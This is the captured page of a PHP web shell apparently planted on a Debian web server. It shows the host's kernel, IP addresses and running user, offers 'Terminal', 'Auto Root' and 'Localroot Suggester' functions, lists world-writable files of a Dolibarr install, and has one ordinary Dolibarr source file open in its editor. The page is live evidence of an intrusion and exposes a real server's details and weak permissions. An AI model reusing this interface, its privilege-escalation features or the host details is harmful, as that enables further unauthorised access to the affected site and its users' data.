Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
ctm.bdcloud.fr /
core /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
boxes
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
class
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
db
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
filemanagerdol
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
js
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
lib
[ DIR ]
drwxrwxrwx
2020-09-03 11:40
login
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
menus
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
modules
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
tpl
[ DIR ]
drwxrwxrwx
2020-09-03 11:40
triggers
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
.htaccess
510
B
-rw-r--r--
2023-01-18 07:38
actions_addupdatedelete.inc.php
12.82
KB
-rwxrwxrwx
2020-09-03 11:37
actions_builddoc.inc.php
5.25
KB
-rwxrwxrwx
2020-09-03 11:37
actions_changeselectedfields.inc.php
1.57
KB
-rwxrwxrwx
2020-09-03 11:37
actions_comments.inc.php
2.63
KB
-rwxrwxrwx
2020-09-03 11:37
actions_dellink.inc.php
1.6
KB
-rwxrwxrwx
2020-09-03 11:37
actions_extrafields.inc.php
12.14
KB
-rwxrwxrwx
2020-09-03 11:37
actions_fetchobject.inc.php
1.94
KB
-rwxrwxrwx
2020-09-03 11:37
actions_lineupdown.inc.php
2.55
KB
-rwxrwxrwx
2020-09-03 11:37
actions_linkedfiles.inc.php
10.66
KB
-rwxrwxrwx
2020-09-03 11:37
actions_massactions.inc.php
48.76
KB
-rwxrwxrwx
2020-09-03 11:37
actions_printing.inc.php
3.7
KB
-rwxrwxrwx
2020-09-03 11:37
actions_sendmails.inc.php
19.29
KB
-rwxrwxrwx
2020-09-03 11:37
actions_setmoduleoptions.inc.php
3.64
KB
-rwxrwxrwx
2020-09-03 11:37
actions_setnotes.inc.php
3.44
KB
-rwxrwxrwx
2020-09-03 11:37
antispamimage.php
1.89
KB
-rwxrwxrwx
2020-09-03 11:37
commonfieldsinexport.inc.php
2.01
KB
-rwxrwxrwx
2020-09-03 11:37
datepicker.php
9.21
KB
-rwxrwxrwx
2020-09-03 11:37
doxygen.php
1.71
KB
-rwxrwxrwx
2020-09-03 11:37
extrafieldsinexport.inc.php
2.63
KB
-rwxrwxrwx
2020-09-03 11:37
get_info.php
7.79
KB
-rwxrwxrwx
2020-09-03 11:37
get_menudiv.php
6.98
KB
-rwxrwxrwx
2020-09-03 11:37
index.html
0
B
-rwxrwxrwx
2020-09-03 11:37
index.php
6.98
KB
-rw-r--r--
2023-01-18 07:38
photos_resize.php
19.92
KB
-rwxrwxrwx
2020-09-03 11:37
search.php
4.95
KB
-rwxrwxrwx
2020-09-03 11:37
search_page.php
4.31
KB
-rwxrwxrwx
2020-09-03 11:37
tools.php
1.54
KB
-rwxrwxrwx
2020-09-03 11:37
website.inc.php
4.12
KB
-rwxrwxrwx
2020-09-03 11:37
Save
Rename
<?php /* Copyright (C) 2014 Laurent Destailleur <eldy@users.sourceforge.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * or see https://www.gnu.org/ */ /** * \file htdocs/core/actions_setnotes.inc.php * \brief Code for actions on setting notes of object page */ // $action must be defined // $permissionnote must be defined to permission to edit object // $object must be defined (object is loaded in this file with fetch) // $id must be defined (object is loaded in this file with fetch) // Set public note if ($action == 'setnote_public' && ! empty($permissionnote) && ! GETPOST('cancel', 'alpha')) { if (empty($action) || ! is_object($object) || empty($id)) dol_print_error('', 'Include of actions_setnotes.inc.php was done but required variable was not set before'); if (empty($object->id)) $object->fetch($id); // Fetch may not be already done $result_update = $object->update_note(dol_html_entity_decode(GETPOST('note_public', 'none'), ENT_QUOTES, 'UTF-8', 1), '_public'); if ($result_update < 0) setEventMessages($object->error, $object->errors, 'errors'); elseif (in_array($object->table_element, array('supplier_proposal', 'propal', 'commande_fournisseur', 'commande', 'facture_fourn', 'facture'))) { // Define output language if (empty($conf->global->MAIN_DISABLE_PDF_AUTOUPDATE)) { $outputlangs = $langs; $newlang = ''; if ($conf->global->MAIN_MULTILANGS && empty($newlang) && GETPOST('lang_id', 'aZ09')) $newlang = GETPOST('lang_id', 'aZ09'); if ($conf->global->MAIN_MULTILANGS && empty($newlang)) $newlang = $object->thirdparty->default_lang; if (! empty($newlang)) { $outputlangs = new Translate("", $conf); $outputlangs->setDefaultLang($newlang); } $model=$object->modelpdf; $hidedetails = (GETPOST('hidedetails', 'int') ? GETPOST('hidedetails', 'int') : (! empty($conf->global->MAIN_GENERATE_DOCUMENTS_HIDE_DETAILS) ? 1 : 0)); $hidedesc = (GETPOST('hidedesc', 'int') ? GETPOST('hidedesc', 'int') : (! empty($conf->global->MAIN_GENERATE_DOCUMENTS_HIDE_DESC) ? 1 : 0)); $hideref = (GETPOST('hideref', 'int') ? GETPOST('hideref', 'int') : (! empty($conf->global->MAIN_GENERATE_DOCUMENTS_HIDE_REF) ? 1 : 0)); $result=$object->generateDocument($model, $outputlangs, $hidedetails, $hidedesc, $hideref); if ($result < 0) dol_print_error($db, $result); } } } elseif ($action == 'setnote_private' && ! empty($permissionnote) && ! GETPOST('cancel', 'alpha')) { // Set public note if (empty($action) || ! is_object($object) || empty($id)) dol_print_error('', 'Include of actions_setnotes.inc.php was done but required variable was not set before'); if (empty($object->id)) $object->fetch($id); // Fetch may not be already done $result=$object->update_note(dol_html_entity_decode(GETPOST('note_private', 'none'), ENT_QUOTES), '_private'); if ($result < 0) setEventMessages($object->error, $object->errors, 'errors'); }